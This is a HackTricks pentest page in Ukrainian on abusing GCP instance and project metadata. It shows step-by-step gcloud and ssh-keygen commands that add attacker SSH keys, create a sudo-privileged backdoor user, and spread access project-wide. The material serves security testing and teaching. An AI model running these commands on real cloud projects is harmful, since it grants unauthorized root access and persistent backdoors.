GCP - Add Custom SSH Metadata

GCP - Додати Користувацькі SSH Метадані

Підтримати HackTricks

Модифікація метаданих

Модифікація метаданих на екземплярі може призвести до значних ризиків безпеки, якщо зловмисник отримає необхідні дозволи.

Включення SSH ключів у Користувацькі Метадані

На GCP, Linux системи часто виконують скрипти з Python Linux Guest Environment for Google Compute Engine. Критичним компонентом цього є демон облікових записів, який призначений для регулярної перевірки кінцевої точки метаданих екземпляра на оновлення авторизованих SSH публічних ключів.

Отже, якщо зловмисник може модифікувати користувацькі метадані, він може змусити демон знайти новий публічний ключ, який буде оброблений і інтегрований у локальну систему. Ключ буде додано до файлу ~/.ssh/authorized_keys існуючого користувача або потенційно створити нового користувача з привілеями sudo, залежно від формату ключа. І зловмисник зможе скомпрометувати хост.

Додати SSH ключ до існуючого привілейованого користувача

  1. Перевірте Існуючі SSH Ключі на Екземплярі:

  • Виконайте команду для опису екземпляра та його метаданих, щоб знайти існуючі SSH ключі. Відповідний розділ у виході буде під metadata, зокрема ключ ssh-keys.

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • Зверніть увагу на формат SSH ключів: ім'я користувача передує ключу, розділене двокрапкою.

  1. Підготуйте Текстовий Файл для Метаданих SSH Ключа:

  • Збережіть деталі імен користувачів та їх відповідних SSH ключів у текстовому файлі з назвою meta.txt. Це важливо для збереження існуючих ключів під час додавання нових.

  1. Згенеруйте Новий SSH Ключ для Цільового Користувача (alice у цьому прикладі):

  • Використовуйте команду ssh-keygen для генерації нового SSH ключа, переконавшись, що поле коментаря (-C) відповідає цільовому імені користувача.

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • Додайте новий публічний ключ до meta.txt, імітуючи формат, знайдений у метаданих екземпляра.

  1. Оновіть Метадані SSH Ключа Екземпляра:

  • Застосуйте оновлені метадані SSH ключа до екземпляра, використовуючи команду gcloud compute instances add-metadata.

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. Отримайте Доступ до Екземпляра Використовуючи Новий SSH Ключ:

  • Підключіться до екземпляра за допомогою SSH, використовуючи новий ключ, отримуючи доступ до оболонки в контексті цільового користувача (alice у цьому прикладі).

ssh -i ./key alice@localhost
sudo id

Створіть нового привілейованого користувача та додайте SSH ключ

Якщо жодного цікавого користувача не знайдено, можна створити нового, якому будуть надані привілеї sudo:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

SSH ключі на рівні проекту

Можливо розширити доступ до SSH для кількох віртуальних машин (VM) у хмарному середовищі, застосувавши SSH ключі на рівні проекту. Цей підхід дозволяє доступ до SSH до будь-якого екземпляра в проекті, який не заблокував SSH ключі на рівні проекту. Ось узагальнений посібник:

  1. Застосуйте SSH ключі на рівні проекту:

  • Використовуйте команду gcloud compute project-info add-metadata, щоб додати SSH ключі з meta.txt до метаданих проекту. Ця дія забезпечує визнання SSH ключів на всіх VM у проекті, якщо тільки VM не має увімкненої опції "Блокувати SSH ключі на рівні проекту".

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. SSH до екземплярів, використовуючи ключі на рівні проекту:

  • З ключами на рівні проекту ви можете SSH до будь-якого екземпляра в проекті. Екземпляри, які не блокують ключі на рівні проекту, приймуть SSH ключ, надаючи доступ.

  • Прямий спосіб SSH до екземпляра - це використання команди gcloud compute ssh [INSTANCE]. Ця команда використовує ваше поточне ім'я користувача та SSH ключі, встановлені на рівні проекту, щоб спробувати отримати доступ.

Посилання

Підтримайте HackTricks

Last updated